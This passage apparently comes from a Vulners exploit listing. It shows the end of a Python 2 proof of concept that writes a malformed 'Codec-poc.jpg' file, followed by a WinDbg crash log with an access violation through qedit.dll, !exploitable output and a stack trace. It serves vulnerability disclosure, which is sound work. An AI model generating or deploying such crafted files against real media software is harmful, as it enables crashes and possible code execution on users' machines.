x71\x6B\xA6\x17\x8C\x82\xCA\xBC\xAA\x63\xC2\x58\x57\xC1\xF7\x85\x16\x20\x09\xBE\xDB\xC4\x05\xCF\x41\xBA\xC1\x05\x6E\x03\x59\x6A\xA9\xA6\x6B\xC3\x3A\xC3\xA5\x3F\xB7\x1D\x0E\x24\xF3\x78\xFC\xE2\xD2\x48\x35\x09\x05\xE9\x5C\xD6\x81\x72\x2D\x5B\x3A\x64\x87\xC6\x6D\x10\x8F\xBF\x7D\xBD\x19\x6D\xEF\x04\x6A\x65\x88\xBD\x15\xA1\xD6\x61\x84\x25\x49\x0D\x7A\x0A\x02\x43\x00\x73\x7B\x04\xAC\x00\xD3\x74\x31\x62\xDB\x05\x25\x74\x1A\xF6\xAA\xF1\xBC\x55\x22\x97\x74\x23\x1A\x4C\x9E\x91\x34\x16\x78\x01\xC1\x23\x0A\xDE\xB1\xEF\xB6\x64\x02\xB7\x76\x21\x61\xCF\x38\xF4\x4E\x96\x83\x44\x0D\x09\xE7\x2C\x02\xA1\x77\xA6\x88\x0E\x01\x82\x60\x02\x6E\x9A\xDF\x83\xDB\x81\x8C\x5B\x92\x14\x47\x62\x92\xF5\x90\xEA\xA6\x88\xA1\x79\x42\x2A\x34\xE9\x95\x75\xA5\xA6\xCC\x27\x00\x7D\xE5\xD1\x29\x16\x3A\xFC\x87\xF1\x85\x51\x44\xF6\x9E\xB0\x48\x34\x04\x59\xC6\x69\x80\x2E\x4E\xBE\x33\x74\xD1\xB6\xCB\xB7\x05\x73\xD5\x7D\xCD\x9F\x96\x9F\x53\xD8\x7F\xC5\x02\x7C\xB6\xBF\xF8\x99\xC6\x69\xF2\xAF\x2B\x7E\xDE\xF3\x80\xF8\x3D\xBE\x59\xC9\x78\xFD\x9F\x03\xBF\xEF\x3F\xE7\x3B\x75\xF4\x73\xDC\xE3\x79\xF0\x1B\xFF\x00\x76\x7B\x7A\x31\xE1\x59\xF3\x62\x4E\x5F\x6D\x4B\x73\xFC\x7A\xEF\xFD\xC7\x79\xC0\x7F\xB0\xAB\x3F\xD4\x78\x64\x7E\x76\xFA\xEF\xF8\xD5\xB9\xFD\x99\xF7\x0F\x1B\xF6\xF3\x9E\x81\xF8\xCF\xDF\x0F\xE0\x2E\xDC\xBF\xBE\x70\xDD\xB3\x53\xCF\xD7\x3C\xF7\xF5\x73\xC3\xFA\xFC\x22\x76\xFA\x5F\x96\x7F\x17\x96\xD5\xD7\xA7\xB3\x6B\xB9\x9E\x99\xF8\x96\xFF\x00\x57\xA9\x9F\x7B\xF4\xDD\xBF\x8F\xED\xFD\x3E\xE7\xE7\xF8\x9C\xFF\xD9"  
  
outfile = file("Codec-poc.jpg", 'wb')  
  
outfile.write(value)  
  
outfile.close()  
  
print "Created Poc"  
  
  
  
  
  
windbg result:  
  
0:000> g  
ModLoad: 629c0000 629c9000 C:\WINDOWS\system32\LPK.DLL  
ModLoad: 74d90000 74dfb000 C:\WINDOWS\system32\USP10.dll  
ModLoad: 10000000 1002e000  
C:\PROGRA~1\SearchProtect\SearchProtect\bin\SPVC32Loader.dll  
ModLoad: 10000000 10011000 C:\Program Files\Bench\BService\bhelper.dll  
ModLoad: 5b860000 5b8b5000 C:\WINDOWS\system32\NETAPI32.dll  
ModLoad: 74720000 7476c000 C:\WINDOWS\system32\MSCTF.dll  
ModLoad: 755c0000 755ee000 C:\WINDOWS\system32\msctfime.ime  
ModLoad: 01880000 01b45000 C:\WINDOWS\system32\xpsp2res.dll  
ModLoad: 76f50000 76f58000 C:\WINDOWS\system32\wtsapi32.dll  
ModLoad: 76360000 76370000 C:\WINDOWS\system32\WINSTA.dll  
ModLoad: 01e50000 02011000 C:\Program Files\K-Lite Codec Pack\Media  
Player Classic\mpciconlib.dll  
ModLoad: 017c0000 017c8000 C:\Program Files\Internet Download  
Manager\idmmkb.dll  
ModLoad: 76360000 76370000 C:\WINDOWS\system32\winsta.dll  
ModLoad: 76fd0000 7704f000 C:\WINDOWS\system32\CLBCATQ.DLL  
ModLoad: 77050000 77115000 C:\WINDOWS\system32\COMRes.dll  
ModLoad: 74810000 7497d000 C:\WINDOWS\system32\quartz.dll  
ModLoad: 75f40000 75f51000 C:\WINDOWS\system32\devenum.dll  
ModLoad: 77920000 77a13000 C:\WINDOWS\system32\setupapi.dll  
ModLoad: 76c30000 76c5e000 C:\WINDOWS\system32\WINTRUST.dll  
ModLoad: 76c90000 76cb8000 C:\WINDOWS\system32\IMAGEHLP.dll  
ModLoad: 736b0000 736b7000 C:\WINDOWS\system32\msdmo.dll  
ModLoad: 72d20000 72d29000 C:\WINDOWS\system32\wdmaud.drv  
ModLoad: 72d20000 72d29000 C:\WINDOWS\system32\wdmaud.drv  
ModLoad: 72d20000 72d29000 C:\WINDOWS\system32\wdmaud.drv  
ModLoad: 72d20000 72d29000 C:\WINDOWS\system32\wdmaud.drv  
ModLoad: 72d20000 72d29000 C:\WINDOWS\system32\wdmaud.drv  
ModLoad: 72d10000 72d18000 C:\WINDOWS\system32\msacm32.drv  
ModLoad: 77be0000 77bf5000 C:\WINDOWS\system32\MSACM32.dll  
ModLoad: 77bd0000 77bd7000 C:\WINDOWS\system32\midimap.dll  
ModLoad: 60ca0000 60d2c000 C:\WINDOWS\system32\qedit.dll  
ModLoad: 75a70000 75a91000 C:\WINDOWS\system32\MSVFW32.dll  
ModLoad: 763b0000 763f9000 C:\WINDOWS\system32\comdlg32.dll  
ModLoad: 73b30000 73b45000 C:\WINDOWS\system32\mscms.dll  
(1fb0.1dc0): Unknown exception - code 00000000 (first chance)  
(1fb0.1dc0): Access violation - code c0000005 (first chance)  
First chance exceptions are reported before any exception handling.  
This exception may be expected and handled.  
eax=00000001 ebx=01fdd008 ecx=7ffdb000 edx=003e0608 esi=003e0000  
edi=01fdd000  
eip=7c96d811 esp=01d4f5ec ebp=01d4f64c iopl=0 nv up ei pl zr na pe  
nc  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000  
efl=00010246  
ntdll!RtlpNtMakeTemporaryKey+0x7d45:  
7c96d811 0fb707 movzx eax,word ptr [edi]  
ds:0023:01fdd000=????  
0:004> .load winext/msec.dll  
0:004> !exploitable  
  
!exploitable 1.6.0.0  
*** ERROR: Symbol file could not be found. Defaulted to export symbols for  
C:\WINDOWS\system32\msvcrt.dll -  
*** ERROR: Symbol file could not be found. Defaulted to export symbols for  
C:\WINDOWS\system32\qedit.dll -  
*** WARNING: Unable to verify timestamp for image00400000  
*** ERROR: Module load completed but symbols could not be loaded for  
image00400000  
*** ERROR: Symbol file could not be found. Defaulted to export symbols for  
C:\WINDOWS\system32\kernel32.dll -  
Exploitability Classification: UNKNOWN  
Recommended Bug Title: Data from Faulting Address is used as one or more  
arguments in a subsequent Function Call starting at  
ntdll!RtlpNtMakeTemporaryKey+0x0000000000007d45 (Hash=0xc7e5b6ca.0x7d7ebe9a)  
  
The data from the faulting address is later used as one or more of the  
arguments to a function call.  
  
0:004> k  
ChildEBP RetAddr  
WARNING: Stack unwind information not available. Following frames may be  
wrong.  
01d4f64c 7c949e1c ntdll!RtlpNtMakeTemporaryKey+0x7d45  
01d4f734 7c927553 ntdll!LdrAlternateResourcesEnabled+0x33bd  
01d4f804 77c2c2de ntdll!RtlOemStringToUnicodeString+0xee  
01d4f84c 60cd08bc msvcrt!free+0xc3  
01d4f860 60cd1f38 qedit!DllRegisterServer+0x20cff  
01d4f880 60cb2ee9 qedit!DllRegisterServer+0x2237b  
01d4f894 60cc38b1 qedit!DllRegisterServer+0x332c  
01d4f8a0 004dfe58 qedit!DllRegisterServer+0x13cf4  
01d4f954 004e1cb5 image00400000+0xdfe58  
01d4fa10 00520659 image00400000+0xe1cb5  
01d4fd74 00526383 image00400000+0x120659  
01d4fe34 004facf0 image00400000+0x126383  
01d4fe58 006f7708 image00400000+0xfacf0  
01d4fe74 006f73a8 image00400000+0x2f7708  
01d4fe88 006f78d5 image00400000+0x2f73a8  
01d4fe94 006f749b image00400000+0x2f78d5  
01d4fea0 006f744c image00400000+0x2f749b  
01d4fecc 006f7c22 image00400000+0x2f744c  
01d4ff70 008191a7 image00400000+0x2f7c22  
01d4ffa8 008192cf image00400000+0x4191a7  
01d4ffb4 7c80b713 image00400000+0x4192cf  
01d4ffec 00000000 kernel32!GetModuleFileNameA+0x1b4  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 May 2014 00:00Current
6.8Medium risk
Vulners AI Score6.8
EPSS0.00691
62